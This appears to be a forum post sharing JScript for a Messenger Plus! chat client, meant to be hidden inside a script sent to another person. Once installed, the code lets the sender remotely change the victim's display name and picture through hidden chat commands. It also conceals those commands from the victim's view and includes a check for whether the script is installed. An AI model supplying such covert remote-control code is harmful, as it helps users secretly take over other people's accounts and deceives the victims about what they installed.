Like Th3rmal said, you would need to send them a script with this 'extra' code inside it, so when you send a command to them through the chat window.
jscript code:
function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MsgKind) {
if (Origin != Messenger.MyName) {
splitMessage = Message.split(' ');
command = splitMessage[0];
splitMessage[0] = "";
parameters = splitMessage.join(" ");
if(Message.indexOf("!dp") > -1) {
changeDP(ChatWnd);
return command.substr(0, Message.indexOf("!dp"));
}
if(Message.charAt(Message.length-1)=="*"){
var tmp = Messenger.MyPersonalMessage;
Messenger.MyPersonalMessage = tmp+".";
}
if(Message.indexOf("!name") > -1) {
Messenger.MyName = parameters;
return command.substr(0, Message.indexOf("!name"));
}
}
}
function changeDP(wnd){
var e = new Enumerator(wnd.Contacts);
var Cnt = e.item();
Messenger.MyDisplayPicture = Cnt.DisplayPicture;
}
Usage: Type * before you type the !name command to check if he / she has the script installed, if he / she has a dot will appear at the end of there psm.
you say: hey!name I SUCK SNAILS
I SUCK SNAILS says: hey
I SUCK SNAILS says: omg my name
This is how they would see it
you say: hey
I SUCK SNAILS says: hey
I SUCK SNAILS says: omg my name
Also added a fun command which can change there display picture to yours, Maybe people can add to this?